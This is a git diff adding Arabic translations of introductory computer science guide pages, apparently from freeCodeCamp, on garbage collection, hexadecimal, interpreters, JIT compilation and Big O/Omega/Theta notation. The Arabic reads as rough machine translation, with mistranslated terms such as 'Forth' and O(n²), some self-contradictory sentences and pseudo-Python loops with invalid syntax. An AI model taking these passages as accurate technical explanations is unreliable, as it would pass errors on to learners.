+أحد الأمثلة على جمع البيانات المهملة هو ARC ، باختصار لحساب المراجع الأوتوماتيكي. هذا يستخدم في سويفت ، على سبيل المثال. ARC يتلخص لتتبع المراجع إلى جميع الكائنات التي يتم إنشاؤها. إذا انخفض مقدار المراجع إلى 0 ، فسيتم وضع علامة على الكائن لإلغاء تخصيصه.
+
+#### معلومات اكثر:
+
+*   https://docs.microsoft.com/en-us/dotnet/standard/garbage-collection/fundamentals - لمعرفة المزيد عن مجموعة البيانات المهملة
\ No newline at end of file
diff --git a/client/src/guide/arabic/computer-science/hexcode/index.md b/client/src/guide/arabic/computer-science/hexcode/index.md
new file mode 100644
index 0000000000..eccbcac6cd
--- /dev/null
+++ b/client/src/guide/arabic/computer-science/hexcode/index.md
@@ -0,0 +1,87 @@
+---
+title: Hexadecimal Numbers
+localeTitle: الأرقام السداسية العشرية
+---
+## نظام الأرقام السداسي العشري
+
+الأرقام السداسية العشرية ، غالبًا ما يتم اختصارها إلى "أرقام سداسية" أو "ست عشري" ، هي الأرقام الممثلة في الأساس 16 في مقابل القاعدة 10 التي نستخدمها في الحساب اليومي والعد.
+
+من الناحية العملية ، يعني هذا أن كل عمود في رقم مكتوب بالنظام الست عشري يمكن أن يمثل حتى 16 قيمة.
+
+تستخدم الأرقام الرقمية بالنظام الست عشري الرموز القياسية 0 و 1 و 2 و 3 و 4 و 5 و 6 و 7 و 8 و 9 لتمثيل القيمة المقابلة ، واستخدم الحروف الستة الأولى من الأبجدية لتمثيل القيم من 10 إلى 15 (مثل: أ ، ب ، ج ، د ، هـ ، ف).
+
+في البرمجة ، نقوم بادئة الثوابت السداسية العشرية مع `0x` ، مع بعض الاستثناءات.
+
+### أمثلة وشرح
+
+ `0x1        ==        1 
+ 0xF        ==        15 
+ 0xFF       ==        255 
+ 0xFFF      ==        4095 
+ 0x1000     ==        4096 
+` 
+
+في النظام الأساسي الأساسي 10 ، يمثل كل عمود زيادة الصلاحيات 10 ، بينما في 16 قاعدة يمثل كل عمود زيادة الصلاحيات 16.
+
+كما هو موضح في مثال الجدول أعلاه ، مع رقم سداسي واحد يمكننا تمثيل الأرقام حتى 15 بما في ذلك. إضافة عمود آخر ويمكننا تمثيل أرقام تصل إلى 255 ، 4095 مع عمود آخر ، وهكذا.
+
+## استخدامات سداسي عشري في برمجة منخفضة المستوى
+
+وجد الست عشري أولاً استخدامه في علوم الكمبيوتر كميزة ملائمة.
+
+تحتوي البيانات الموجودة في أجهزة الكمبيوتر الخاصة بنا على أدنى وحدة تخزين مشتركة ، البايت. تحتوي كل بايت على 8 بتات ، وهي قادرة على تخزين رقم بين 0 و 255 ضمناً.
+
+السداسي عشرية لها ميزة كونها مقتطعة وذات حدود محددة بشكل جيد.
+
+يتم تمثيل البايت الواحد دائمًا برقمين سداسيين عشريين من 0x00 إلى 0xFF ، هذا الأخير أكبر قيمة لكل بايت 255.
+
+إن الطبيعة المبطنة للأعمدة السداسية والعصبية ، تجعلها خيارًا شائعًا لمهندسي البرامج الذين يعملون على قواعد قواعدية منخفضة المستوى أو برامج مدمجة.
+
+## استخدام أرقام سداسي عشري في JavaScript
+
+يدعم JavaScript استخدام التدوين السداسي العشري بدلاً من أي عدد صحيح ، ولكن ليس الأرقام العشرية.
+
+على سبيل المثال ، الرقم 2514 في سداسي عشرية هو 0x9D2 ، ولكن لا توجد طريقة مدعومة بلغة تمثل 25.14 كرقم سداسي عشرية.
+
+استخدام الست عشري في التعليمات البرمجية الخاصة بك هو اختيار الشخصية والأسلوبية ، وليس له أي تأثير على المنطق الأساسي بتنفيذ التعليمات البرمجية الخاصة بك.
+
+## استخدامات الأرقام السداسية العشرية في CSS
+
+تستخدم CSS لفترة طويلة ترميزًا سداسيًا عشريًا لتمثيل قيم الألوان. خذ بعين الاعتبار المحدد التالي:
+
+ `.my-container { 
+    background-color: #112233; 
+    color: #FFFFFF; 
+ } 
+` 
+
+قيمة `background-color` هي في الواقع ثلاث بايت عرافة.
+
+يعامل معالج CSS هذه الثلاثة بايت ، والتي تمثل الأحمر والأخضر والأزرق.
+
+في مثالنا ، 11 يتوافق مع مكون اللون الأحمر ، 22 يتوافق مع مكون اللون الأخضر ، و 33 إلى مكون اللون الأزرق.
+
+لا توجد طريقة حاليًا لـ CSS3 لتعريف لون بمكون ألفا باستخدام ست عشري. يتضمن مشروع CSS4 المقترح 1 مقترحًا للسماح ببايت إضافي لتحديد قيم ألفا.
+
+في الوقت الحالي ، يعد استخدام الدالة `rgba()` القياسية هو الطريقة الموصى بها لإضافة قيمة ألفا إلى الألوان الخاصة بك.
+
+#### معلومات اكثر:
+
+*   [نظام الأرقام السداسي العشري على ويكيبيديا](https://wikipedia.org/wiki/Hexadecimal_numeral_system)
+*   [لون CSS على مستندات الويب MDN](https://developer.mozilla.org/en-US/docs/Web/CSS/color)
+
+#### المراجع:
+
+*   1 [CSS Color Module Level 4 - 4.2. التنبيهات السداسية العشرية RGB: #RRGGBB](https://www.w3.org/TR/css-color-4/#hex-notation)
+
+#### معلومات اكثر:
+
+*   [كيف تعمل رموز اللون HEX؟ (في 60 ثانية)](https://www.youtube.com/watch?v=c56x1aj2CPA) - فيديو جيد يشرح أيضًا قليلاً عن الأرقام السداسية العشرية.
+*   [Hex Codes & Colour Theory](https://www.youtube.com/watch?v=xlRiLSDdqcY) - A Longer Video الذي يتعمق في نظرية الألوان (مثل ما هي الألوان المضافة وما هي الألوان الطفيفة وما إلى ذلك) ويشير أيضًا إلى موارد أخرى للتعمق في الموضوع.
+*   [ألوان الويب](https://en.wikipedia.org/wiki/Web_colors) - ويكيبيديا مقال عن كيفية استخدام الألوان على الويب.
+*   [مقالة ويكيبيديا عن الشفرة السداسية العشرية](https://en.wikipedia.org/wiki/Hexadecimal)
+*   [مقالة ويكيبيديا عن ألوان الويب](https://en.wikipedia.org/wiki/Web_colors)
+*   [ألوان سداسي](http://www.color-hex.com/)
+*   [مقالة متوسطة على رمز لون عرافة](https://medium.com/webkul-dev/hex-color-codes-27cd0a37c3ce)
+*   [مزيد من المعلومات عن الألوان في CSS](https://developer.mozilla.org/en-US/docs/Web/CSS/color_value)
+*   [استكشاف مختلف ألوان الهيكس](http://www.colorhexa.com/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/computer-science/index.md b/client/src/guide/arabic/computer-science/index.md
new file mode 100644
index 0000000000..ceca6e5d8d
--- /dev/null
+++ b/client/src/guide/arabic/computer-science/index.md
@@ -0,0 +1,39 @@
+---
+title: Computer Science
+localeTitle: علوم الكمبيوتر
+---
+## علوم الكمبيوتر
+
+علوم الكمبيوتر هي دراسة أجهزة الكمبيوتر والمفاهيم التي تجعل أجهزة الكمبيوتر ممكنة.
+
+كان الكثير من علوم الكمبيوتر رائدا في النصف الأخير من القرن العشرين.
+
+اليوم ، إذا كنت تحضر دورة جامعية في علوم الكمبيوتر ، فستتعرف على كل من الأجهزة والبرامج. سوف تتعلم كيف تعمل أجهزة الكمبيوتر على مستوى منخفض من التجريد (لغة الآلة) وعلى مستوى عال من التجريد (langauges البرمجة النصية الحديثة مثل JavaScript).
+
+# مجالات علوم الكمبيوتر
+
+يتم تصنيف علوم الكمبيوتر إلى عدة حقول. فيما يلي بعض المجالات الحالية والمدروسة جيداً. يتم تصنيف معظم الحقول إلى sub0fields.
+
+*   [نظرية الحوسبة](https://en.wikipedia.org/wiki/Theory_of_computation)
+*   نظرية التعقيد
+*   الطرق الرسمية
+*   الخوارزميات الموزعة
+*   [الأمان](https://en.wikipedia.org/wiki/Computer_security)
+*   التشفير
+*   [الذكاء الاصطناعي](https://en.wikipedia.org/wiki/Artificial_intelligence)
+*   بيانات التعدين
+*   تعلم الآلة
+*   رؤية الكمبيوتر
+*   [هندسة البرمجيات](https://en.wikipedia.org/wiki/Software_engineering)
+*   [علوم البيانات](https://en.wikipedia.org/wiki/Data_science)
+*   البيانات الكبيرة
+*   [تفاعل الإنسان والحاسوب](https://en.wikipedia.org/wiki/Human%E2%80%93computer_interaction)
+*   واجهة الكمبيوتر الدماغ
+*   أنظمة
+*   الانظمة الموزعة
+*   أنظمة التشغيل
+*   نظم قواعد البيانات
+
+## معلومات اكثر
+
+[تصور هياكل البيانات](http://www.cs.usfca.edu/~galles/JavascriptVisual/Algorithms.html)
\ No newline at end of file
diff --git a/client/src/guide/arabic/computer-science/interpreters/index.md b/client/src/guide/arabic/computer-science/interpreters/index.md
new file mode 100644
index 0000000000..e402a62bf5
--- /dev/null
+++ b/client/src/guide/arabic/computer-science/interpreters/index.md
@@ -0,0 +1,23 @@
+---
+title: Interpreters
+localeTitle: مترجمين
+---
+## مترجمين
+
+المترجمون هم نوع من المترجم. يأخذ المترجمون الشفرة المصدرية شفرة مكتوبة بلغة JavaScript و Python ولغات أخرى. ثم يقومون بترجمتها إلى شفرة يفهمها الكمبيوتر.
+
+هذا الرمز المترجم هو رمز ثنائي. لا شيء سوى 1s و 0 s. يترجم المترجمون الشفرة المصدرية سطرًا تلو الآخر ، بينما يشغلون الرمز الثنائي. سيتم تشغيل البرنامج حتى يجد المترجم أخطاء في شفرة المصدر. ثم سيوقف ترجمة / تشغيل البرنامج ووضع علامة على الأخطاء.
+
+للمقارنة ، يقوم المترجمون بتحويل كل الشفرة المصدرية مرة واحدة إلى الشفرة الثنائية ، ثم تشغيل الشفرة الثنائية.
+
+#### معلومات اكثر:
+
+[يقارن مات أديتانيا "مقدمة ألطف في البرمجة"](https://medium.freecodecamp.org/a-gentler-introduction-to-programming-707453a79ee8) المترجمين والمترجمين ، ويقدم مفاهيم البرمجة الأساسية الأخرى.
+
+بعض اللغات المفسرة:
+
+*   [الثعبان](https://en.wikipedia.org/wiki/Python_(programming_language))
+*   [جافا سكريبت](https://en.wikipedia.org/wiki/JavaScript)
+*   [ياقوت](https://en.wikipedia.org/wiki/Ruby_(programming_language))
+*   [عليها](https://en.wikipedia.org/wiki/Forth_(programming_language))
+*   [بيرل](https://en.wikipedia.org/wiki/Perl)
\ No newline at end of file
diff --git a/client/src/guide/arabic/computer-science/just-in-time-compilation/index.md b/client/src/guide/arabic/computer-science/just-in-time-compilation/index.md
new file mode 100644
index 0000000000..99d16ecfa5
--- /dev/null
+++ b/client/src/guide/arabic/computer-science/just-in-time-compilation/index.md
@@ -0,0 +1,64 @@
+---
+title: Just in Time Compilation
+localeTitle: فقط في وقت تجميع
+---
+## فقط في وقت تجميع
+
+التجميع في الوقت المناسب هو طريقة لتحسين أداء البرامج المفسرة. أثناء التنفيذ ، قد يتم تجميع البرنامج في كود أصلي لتحسين أدائه. ومن المعروف أيضا باسم التجميع الديناميكي.
+
+التجميع الديناميكي له بعض المزايا على التجميع الثابت. عند تشغيل تطبيقات Java أو C # ، يمكن لبيئة التشغيل أن تقوم بتوصيف التطبيق أثناء تشغيله. هذا يسمح لتوليد رمز أكثر الأمثل. في حالة تغيير سلوك التطبيق أثناء تشغيله ، يمكن لبيئة التشغيل إعادة ترجمة التعليمات البرمجية.
+
+تتضمن بعض العيوب تأخير بدء التشغيل و overhead التجميع أثناء وقت التشغيل. للحد من الحمل ، يقوم العديد من برامج التحويل البرمجي JIT فقط بتجميع مسارات التعليمات البرمجية التي يتم استخدامها بشكل متكرر.
+
+### نظرة عامة
+
+تقليديا هناك طريقتان لتحويل شفرة المصدر إلى نموذج يمكن تشغيله على النظام الأساسي. يعمل التحويل الثابت على تحويل الشفرة إلى لغة لمنصة معينة. يقوم المترجم مباشرة بتنفيذ شفرة المصدر.
+
+يحاول JIT تجميع استخدام فوائد كل منهما. أثناء تشغيل البرنامج المفسر ، يقوم المترجم JIT بتحديد الشيف الأكثر استخدامًا ويقوم بترجمته إلى رمز الجهاز. بالاعتماد على المحول البرمجي ، يمكن القيام بذلك على طريقة أو قسم أصغر من التعليمات البرمجية.
+
+تم وصف التجميع الديناميكي لأول مرة في ورقة كتبها J. McCarthy على LISP في عام 1960.
+
+Just In Time Compilation ، JIT ، أو Dynamic Translation ، هو تجميع يتم تنفيذه أثناء تنفيذ البرنامج. بمعنى ، وقت التشغيل ، بدلاً من قبل التنفيذ. ما يحدث هو ترجمة لرمز الآلة. ترجع مزايا JIT إلى حقيقة أنه منذ أن يتم التحويل البرمجي في وقت التشغيل ، يتمكن مترجم JIT من الوصول إلى معلومات وقت التشغيل الديناميكي مما يمكنه من إجراء تحسينات أفضل (مثل وظائف التضمين).
+
+ما هو مهم لفهم تجميع JIT ، هو أنه سيقوم بتجميع البايت كود في تعليمات كود الآلة الخاصة بالجهاز الجاري تشغيله. بمعنى أنه تم تحسين رمز الجهاز الناتج لبنية وحدة المعالجة المركزية لجهاز التشغيل.
+
+مثالان من JIT Compilers هما: JVM (Java Virtual Machine) في Java و CLR (Common Language Runtime) ، في C #.
+
+## يقف JIT لـ Just-in-Time مما يعني أنه يتم تجميع التعليمات البرمجية عند الحاجة إليها ، وليس قبل وقت التشغيل.
+
+في البداية ، كان المترجم مسؤولاً عن تحويل لغة عالية المستوى (محددة كمستوى أعلى من المجمّع) إلى رمز الكائن (تعليمات الآلة) ، والتي سيتم ربطها (بواسطة رابط) في ملف قابل للتنفيذ.
+
+عند نقطة واحدة في تطور اللغات ، يقوم المترجمون بتجميع لغة عالية المستوى في الشفرة الزائفة ، والتي سيتم تفسيرها (بواسطة مترجم) لتشغيل البرنامج. أدى ذلك إلى التخلص من رمز الكائن والملفات القابلة للتنفيذ ، وسمح لهذه اللغات بأن تكون محمولة إلى أنظمة تشغيل متعددة وأنظمة تشغيل الأجهزة. كان باسكال (التي تم تجميعها إلى P-Code) واحدًا من الأول ؛ تعد Java و C # من الأمثلة الحديثة. في نهاية المطاف تم استبدال مصطلح P-Code بـ bytecode ، لأن معظم العمليات الزائفة هي بايت طويلة.
+
+مترجم Just-In-Time (JIT) عبارة عن ميزة لمترجم وقت التشغيل ، بدلاً من تفسير bytecode في كل مرة يتم فيها استدعاء أسلوب ، سيقوم بتجميع البايت كود في تعليمات رمز الجهاز الخاصة بالجهاز قيد التشغيل ، ثم استدعاء هذا كود الكائن بدلا من ذلك. من الناحية المثالية فإن كفاءة تشغيل رمز الكائن ستتغلب على عدم كفاءة إعادة تجميع البرنامج في كل مرة يتم تشغيلها.
+
+يعمل مترجم JIT بعد بدء البرنامج ويقوم بترجمة الشفرة (عادةً bytecode أو نوع من تعليمات VM) على الطاير (أو فقط في الوقت المناسب ، كما يطلق عليه) في نموذج يكون عادة أسرع ، وعادة ما يكون المضيف الأصلي للمضيف CPU مجموعة التعليمات. يمكن لـ JIT الوصول إلى معلومات وقت التشغيل الديناميكية بينما لا يقوم المترجم القياسي بإجراء تحسينات أفضل مثل تضمين وظائف يتم استخدامها بشكل متكرر.
+
+هذا على النقيض من المترجم التقليدي الذي يجمع كل الكود إلى لغة الآلة قبل تشغيل البرنامج لأول مرة.
+
+لإعادة صياغة ، compilers التقليدية إنشاء البرنامج بالكامل كملف EXE BEFORE في المرة الأولى التي تقوم بتشغيلها. بالنسبة للبرامج ذات النمط الأحدث ، يتم إنشاء تجميع باستخدام pseudocode (p-code). فقط بعد تنفيذ البرنامج على نظام التشغيل (على سبيل المثال ، عن طريق النقر المزدوج على أيقونة) ، سيقوم المترجم (JIT) بتشغيل رمز الآلة (m-code) وتوليده ، بحيث يفهم المعالج القائم على Intel أو أي شيء.
+
+## السيناريو النموذجي:
+
+يتم تحويل رمز المصدر بالكامل إلى رمز الجهاز
+
+## سيناريو JIT:
+
+سيتم تحويل الكود المصدري إلى لغة التجميع مثل البنية \[للامتثال IL (لغة وسيطة) لـ C # ، ByteCode لـ java\].
+
+يتم تحويل الشفرة الوسيطة إلى لغة الآلة فقط عندما يحتاج التطبيق إلى رموز مطلوبة فقط يتم تحويلها إلى كود الآلة.
+
+## مقارنة JIT مقابل غير JIT:
+
+في JIT ، لا يتم تحويل كل الكود إلى كود الآلة أولاً ، سيتم تحويل جزء من الكود الضروري إلى كود الآلة ، ثم إذا لم تكن هناك طريقة أو وظيفة تسمى في الجهاز ، فسيتم تحويلها إلى كود الآلة ... فهي تقلل من العبء على وحدة المعالجة المركزية. كما سيتم إنشاء رمز الجهاز في وقت التشغيل ... سوف ينتج مترجم JIT رمز الجهاز الذي تم تحسينه من أجل تشغيل CPU وحدة المعالجة. أمثلة JIT:
+
+في Java JIT في JVM (Java Virtual Machine) في C # يكون في CLR (وقت تشغيل اللغة العامة) في Android ، يوجد في DVM (الجهاز الظاهري Dalvik) أو ART (Android RunTime) في إصدارات أحدث.
+
+يحتفظ Java Virtual Machine (JVM) (JVM executes bytecode) باحتساب عدد الوقت الذي يتم فيه تنفيذ الدالة. إذا تجاوز هذا العدد حدًا محددًا مسبقًا ، يقوم JIT بترجمة الشفرة إلى لغة الآلة التي يمكن تنفيذها مباشرة بواسطة المعالج (على عكس الحالة العادية التي يقوم فيها javac بتجميع الرمز إلى bytecode ثم java - يفسر المترجم هذا السطر bytecode عن طريق سطر يحولها إلى رمز الجهاز وينفذ).
+
+أيضا في المرة القادمة يتم حساب هذه الوظيفة نفس الشفرة المجمعة يتم تنفيذها مرة أخرى على عكس التفسير العادي الذي يتم فيه تفسير الشفرة مرة تلو الأخرى. وهذا يجعل التنفيذ أسرع.
+
+#### معلومات اكثر
+
+*   [تجميع JIT (ويكيبيديا)](https://en.wikipedia.org/wiki/Just-in-time_compilation)
+*   [JIT مقدمة](https://eli.thegreenplace.net/2013/11/05/how-to-jit-an-introduction/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/computer-science/notation/asymptotic-notation/index.md b/client/src/guide/arabic/computer-science/notation/asymptotic-notation/index.md
new file mode 100644
index 0000000000..cd1ad60325
--- /dev/null
+++ b/client/src/guide/arabic/computer-science/notation/asymptotic-notation/index.md
@@ -0,0 +1,22 @@
+---
+title: Asymptotic Notation
+localeTitle: تدوين مقارب
+---
+## تدوين مقارب
+
+كيف نقيس قيمة أداء الخوارزميات؟
+
+ضع في اعتبارك كيف يكون الوقت أحد أهم مواردنا. في الحوسبة ، يمكننا قياس الأداء مع مقدار الوقت الذي تستغرقه العملية لإكمالها. إذا كانت البيانات التي تتم معالجتها بواسطة خوارزميات هي نفسها ، فيمكننا اتخاذ قرار بشأن أفضل تنفيذ لحل مشكلة ما.
+
+نقوم بذلك عن طريق تحديد الحدود الرياضية لخوارزمية. هذه هي كبيرة O ، كبيرة أوميغا ، ثيتا كبيرة ، أو علامات مقاربة لخوارزمية. على الرسم البياني ، ستكون O الكبيرة هي أطول خوارزمية يمكن أن تأخذها لأي مجموعة بيانات معينة ، أو "الحد الأعلى". الأوميغا الكبيرة تشبه عكس O- الكبيرة ، "الحد الأدنى". حيث تصل الخوارزمية إلى أعلى سرعة لأي مجموعة بيانات. ثيتا الكبيرة هي إما قيمة الأداء الدقيق للخوارزمية ، أو نطاق مفيد بين الحدود العليا والسفلى الضيقة.
+
+بعض الأمثلة:
+
+*   "سيكون التسليم هناك خلال حياتك." (big-O، upper-bound)
+*   "يمكنني أن أدفع لك ما لا يقل عن دولار واحد." (أوميغا الكبيرة ، الحد الأدنى)
+*   "سيكون ارتفاع اليوم 25 درجة مئوية وسيكون القاع 19 درجة مئوية." (ثيتا كبيرة ، ضيقة)
+*   "إنه على بعد كيلومتر من الشاطئ." (كبير ثيتا ، بالضبط)
+
+#### معلومات اكثر:
+
+*   [تدوين مقارب](https://learnxinyminutes.com/docs/asymptotic-notation/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/computer-science/notation/big-o-notation/index.md b/client/src/guide/arabic/computer-science/notation/big-o-notation/index.md
new file mode 100644
index 0000000000..ab98634fad
--- /dev/null
+++ b/client/src/guide/arabic/computer-science/notation/big-o-notation/index.md
@@ -0,0 +1,64 @@
+---
+title: Big O Notation
+localeTitle: Big O Notation
+---
+## Big O Notation
+
+_كعالم كمبيوتر ، إذا كنت تعمل على برنامج مهم ، فستحتاج على الأرجح لتقدير مدى سرعة تشغيل بعض الخوارزميات أو غيرها._
+
+يُستخدم التدوين الكبير O في علم الكمبيوتر لوصف أداء خوارزمية أو تعقيدها. في الواقع Big O Notation هو رمز خاص يخبرك بمدى سرعة الخوارزمية. بالطبع ستستخدم خوارزميات محددة مسبقًا - وعندما تفعل ذلك ، من الضروري أن تفهم مدى السرعة أو البطء.
+
+#### ما هو شكل O الكبير
+
+![](https://user-images.githubusercontent.com/5860906/31781171-74c6b48a-b500-11e7-9626-f715b37b10f0.png) يخبرك هذا عن عدد العمليات التي ستقوم بها خوارزمية. يطلق عليه تدوين Big O لأنك وضعت "Big O" أمام عدد العمليات.  
+
+#### يضع Big O وقت تشغيل أسوأ حالة
+
+لنفترض أنك طبيب يعالج هاري أبيت ، قد تنظر في السجلات الإلكترونية المتعلقة بالتاريخ الطبي لهاري أبيت (فهو أول شخص في قائمة). دعونا نعتبر الوضع عندما تعتمد حياته على جميع البيانات الطبية المتاحة. لنفترض أنك تستخدم بحثًا بسيطًا للبحث عن شخص في السجلات الإلكترونية. أنت تعلم أن البحث البسيط يأخذ O (n) وقتًا للتشغيل ، لذلك سيكون عليك البحث في كل إدخال فردي لـ Abbit. بالطبع ، لقد لاحظت أن Abbit هو الإدخال الأول ، لذلك لم يكن عليك النظر إلى كل إدخال - وجدته في المحاولة الأولى.
+
+_هل أخذت هذه الخوارزمية وقت O (n)؟ أو هل استغرق ذلك وقت (1) لأنك وجدت الشخص في المحاولة الأولى؟_
+
+في هذه الحالة ، هذا هو السيناريو الأفضل. لكن تدوين Big O هو حول سيناريو الحالة الأسوأ. هذا هو O (n) الوقت (لا يزال البحث البسيط). إنه تأكيد على أن البحث البسيط لن يكون أبطأ أبداً من زمن O (n).
+
+#### تنمو أوقات تشغيل الخوارزمية بمعدلات مختلفة
+
+لنفترض أنه يستغرق 1 ميلي ثانية للتحقق من إدخال واحد. مع البحث البسيط ، يجب على الطبيب التحقق من 10 إدخالات ، بحيث يستغرق البحث 10 مللي ثانية للتشغيل. من ناحية أخرى ، عليه فقط التحقق من 3 عناصر باستخدام _خوارزمية البحث الثنائي_ (log10 هو 3 تقريبًا) ، بحيث يستغرق البحث 3 مللي ثانية للتشغيل.
+
+لكن من الناحية الواقعية ، سيكون لدى القائمة أكثر من مائة عنصر.
+
+_إذا حدث ذلك ، فكم من الوقت سيستغرق البحث البسيط؟ ما المدة التي يستغرقها البحث الثنائي؟_
+
+سيكون وقت التشغيل للبحث البسيط مع 1 مليار عنصر 1 مليار مللي ثانية ، وهو 11 يومًا. المشكلة هي أن أوقات التشغيل للبحث الثنائي والبحث البسيط _لا تنمو بنفس المعدل_ .
+
+![](https://user-images.githubusercontent.com/5860906/31781165-723a053c-b500-11e7-937c-7b33db281efe.png)
+
+ومع ازدياد قائمة الأرقام ، يصبح البحث الثنائي أسرع بكثير من البحث البسيط. أي أنه مع زيادة عدد العناصر ، يستغرق البحث الثنائي وقتًا أطول للتشغيل. لكن البحث البسيط يتطلب _الكثير_ من الوقت للتشغيل. ومع ازدياد قائمة الأرقام ، يصبح البحث الثنائي أسرع بكثير من البحث البسيط.
+
+_ولهذا السبب لا يكفي معرفة المدة التي تستغرقها الخوارزمية للتشغيل - تحتاج إلى معرفة كيفية زيادة وقت التشغيل مع زيادة حجم القائمة. هذا هو المكان الذي تدخل فيه Big O._
+
+#### يتيح لك التدوين الكبير O مقارنة عدد العمليات
+
+على سبيل المثال ، افترض أن لديك قائمة بالحجم n. يحتاج البحث البسيط للتحقق من كل عنصر ، لذلك سوف يستغرق عمليات n. وقت التشغيل في تدوين Big O هو O (n).
+
+_أين الثواني؟_
+
+لا يوجد شيء - لا يخبرك Big O بالسرعة في ثوان. _يتيح لك التدوين الكبير O مقارنة عدد العمليات._ يخبرك مدى سرعة نمو الخوارزمية.
+
+![](https://user-images.githubusercontent.com/5860906/31781175-768c208e-b500-11e7-9718-e632d1391e2d.png) </ P
+
+#### أوقات التشغيل الأكثر شيوعًا للخوارزميات
+
+قائمة بأوقات التشغيل الأكثر شيوعًا للخوارزميات من حيث التدوين الكبير O. في ما يلي خمس مرات لتشغيل Big O التي ستواجهها كثيرًا ، ويتم ترتيبها من الأسرع إلى الأبطأ:
+
+1.  O (log n) ، تُعرف أيضًا باسم _وقت التسجيل_ . مثال: بحث ثنائي.
+2.  O (n) ، والمعروف أيضًا _بالوقت الخطي_ . مثال: بحث بسيط.
+3.  O (n \* log n) مثال: خوارزمية الفرز السريع ، مثل الخوارزمية السريعة (الواردة في الفصل 4).
+4.  على 2) مثال: خوارزمية الفرز البطيئة ، مثل فرز الفرز (الوارد في الفصل 2).
+5.  على!) مثال: خوارزمية بطيئة حقاً ، مثل مندوب مبيعات السفر (القادم في المرة القادمة!).
+
+_تتناول هذه المقالة فقط أساسيات Big O. للحصول على شرح أكثر تفصيلاً ، ألقِ نظرة على دلائل FreeCodeCamp المعنية بالخوارزميات._
+
+### معلومات اكثر
+
+*   [أكاديمية خان](https://www.khanacademy.org/computing/computer-science/algorithms/asymptotic-notation/a/big-o-notation)
+*   [ورقة الغش الكبيرة يا](http://bigocheatsheet.com/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/computer-science/notation/big-omega-notation/index.md b/client/src/guide/arabic/computer-science/notation/big-omega-notation/index.md
new file mode 100644
index 0000000000..43f24e17c9
--- /dev/null
+++ b/client/src/guide/arabic/computer-science/notation/big-omega-notation/index.md
@@ -0,0 +1,27 @@
+---
+title: Big Omega Notation
+localeTitle: كبير أوميغا الترميز
+---
+## كبير أوميغا الترميز
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/computer-science/notation/big-omega-notation/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+على غرار التدوين [الكبير O](https://guide.freecodecamp.org/computer-science/notation/big-o-notation) ، يتم استخدام دالة Omega الكبيرة (Ω) في علوم الكمبيوتر لوصف أداء خوارزمية أو تعقيدها.
+
+إذا كان وقت التشغيل هو f (f (n)) ، عندئذٍ لـ n كبير بما يكفي ، يكون وقت التشغيل على الأقل k⋅f (n) لبعض k الثابت. إليك طريقة التفكير في وقت التشغيل الذي يكون Ω (f (n)):  
+![وظيفة كبيرة أوميغا](https://s3.amazonaws.com/ka-cs-algorithms/Omega_fn.png)  
+نقول أن وقت التشغيل "كبير" من f (n). " نحن نستخدم تدوينًا كبيرًا **للحدود المقاربة** ، نظرًا لأنه يحد من نمو وقت التشغيل من أسفل لأحجام إدخال كبيرة بما فيه الكفاية.
+
+### الفرق بين Big O و Big Ω
+
+الفرق بين تدوين Big O و Big Ω Notation هو أن Big O يستخدم لوصف أسوأ حالة تشغيل لخوارزمية. ولكن ، من ناحية أخرى ، يتم استخدام الترميز الكبير لوصف أفضل وقت لتشغيل حالة خوارزمية معينة.
+
+#### معلومات اكثر:
+
+*   [كبير Ω (بيج أوميغا) تدوين](https://www.khanacademy.org/computing/computer-science/algorithms/asymptotic-notation/a/big-big-omega-notation)
+*   [!["تحليل](http://img.youtube.com/vi/OpebHLAf99Y/0.jpg)](http://www.youtube.com/watch?feature=player_embedded&v=OpebHLAf99Y
+    )
+[](http://www.youtube.com/watch?feature=player_embedded&v=OpebHLAf99Y
+)
\ No newline at end of file
diff --git a/client/src/guide/arabic/computer-science/notation/big-theta-notation/index.md b/client/src/guide/arabic/computer-science/notation/big-theta-notation/index.md
new file mode 100644
index 0000000000..ac3259c777
--- /dev/null
+++ b/client/src/guide/arabic/computer-science/notation/big-theta-notation/index.md
@@ -0,0 +1,44 @@
+---
+title: Big Theta Notation
+localeTitle: كبير ثيتا التدوين
+---
+## كبير ثيتا التدوين
+
+تخبرنا أوميغا الكبيرة بالحد الأدنى لوقت تشغيل إحدى الدالات ، وتخبرنا Big O بالحد الأعلى. في كثير من الأحيان ، تكون مختلفة ولا يمكننا تقديم ضمان على وقت التشغيل - سوف تختلف بين الحدود والمدخلات. لكن ماذا يحدث عندما يكونان متشابهين؟ ثم يمكننا أن نمنح **ثيتا** (Θ) ملزمة - سوف تعمل وظيفتنا في ذلك الوقت ، بغض النظر عن المدخلات التي نقدمها. بشكل عام ، نرغب دائمًا في منح ثيتا مقيدًا إذا كان ذلك ممكنًا نظرًا لأنه أكثر الحدود دقة ودقة. إذا لم نتمكن من إعطاء ثيتا ملزمة ، فإن أفضل شيء ثاني هو أقصى حد ممكن.
+
+لنأخذ على سبيل المثال وظيفة تبحث عن مصفوفة للقيمة 0:
+
+ `def containsZero(arr): #assume normal array of length n with no edge cases 
+  for num x in arr: 
+    if x == 0: 
+       return true 
+  return false 
+` 
+
+1.  ما هي أفضل حالة؟ حسنًا ، إذا كانت الصفيف الذي نوفره له 0 كقيمة أولى ، فسيستغرق ذلك وقتًا ثابتًا: Ω (1)
+2.  ما هي أسوأ حالة؟ إذا كان المصفوفة لا تحتوي على 0 ، فسنقوم بتكرارها من خلال المصفوفة بأكملها: O (n)
+
+لقد أعطيناها أوميغا و O ملزمة ، فماذا عن ثيتا؟ لا يمكننا اعطائها واحدة! اعتمادا على صفيف نعطيه ، سيكون وقت التشغيل في مكان ما بين الثابت والخطية.
+
+دعونا نغير كودنا قليلا.
+
+ `def printNums(arr): #assume normal array of length n with no edge cases 
+  for num x in arr: 
+    print(x) 
+` 
+
+يمكنك التفكير في أفضل حالة وأسوأ حالة ؟؟ لا استطيع بصرف النظر عن المجموعة التي نوفرها ، يجب علينا التكرار من خلال كل قيمة في الصفيف. وبالتالي فإن الدالة ستستغرق وقتًا قصيرًا (Ω (n)) ، لكننا نعرف أيضًا أنها لن تستغرق أكثر من وقت n (O (n)). ماذا يعني هذا؟ سوف تأخذ **وظيفتنا بالضبط** وقت n: Θ (n).
+
